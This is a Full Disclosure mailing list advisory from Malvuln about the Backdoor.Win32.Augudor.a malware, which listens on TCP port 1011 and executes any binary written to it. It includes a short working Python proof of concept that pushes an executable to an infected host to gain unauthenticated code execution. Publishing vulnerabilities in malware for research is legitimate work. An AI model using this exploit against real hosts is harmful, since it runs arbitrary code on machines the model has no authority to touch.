full-disclosure - [FD] Backdoor.Win32.Augudor.a / Unauthenticated Remote File Write Code Execution

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Message-ID: <CAAHK0WSYVjFtJ1Z__HH1tM7amws0YfUfBvLHuOkV5wcn_L13nw@mail.gmail.com>
Date: Wed, 10 Feb 2021 20:49:01 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Augudor.a / Unauthenticated Remote File Write
	Code Execution

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/1b557d4f923b0de75e397686053a9022.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Augudor.a
Vulnerability: Unauthenticated Remote File Write Code Execution
Description: Augudor.a drops an empty file named "zy.exe" and listens
on TCP port 1011. Attackers who can reach the infected host can write
any binary file they like to the empty "zy.exe" file on the system and
it will execute as soon as the binary transfer has completed.
Type: PE32
MD5: 1b557d4f923b0de75e397686053a9022
Vuln ID: MVID-2021-0083
Dropped files: zy.exe
Disclosure: 02/10/2021

Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=1011
DOOM="DOOM.exe"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()
    s.close()

    print("Backdoor.Win32.Augudor.a / Unauthenticated Remote File
Write Code Execution")
    print("MD5: 1b557d4f923b0de75e397686053a9022")
    print("By Malvuln");

if __name__=="__main__":
    doit()

Disclaimer: The information contained within this advisory is supplied
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otherwise. Permission is hereby granted for the redistribution of this
advisory, provided that it is not altered except by reformatting it,
and that due credit is given. Permission is explicitly given for
insertion in vulnerability databases and similar, provided that due
credit is given to the author. The author is not responsible for any
misuse of the information contained herein and accepts no
responsibility for any damage caused by the use or misuse of this
information. The author prohibits any malicious use of security
related information or exploits by the author or elsewhere. Do not
attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper
Malware handling or the downloading of ANY Malware mentioned on this
website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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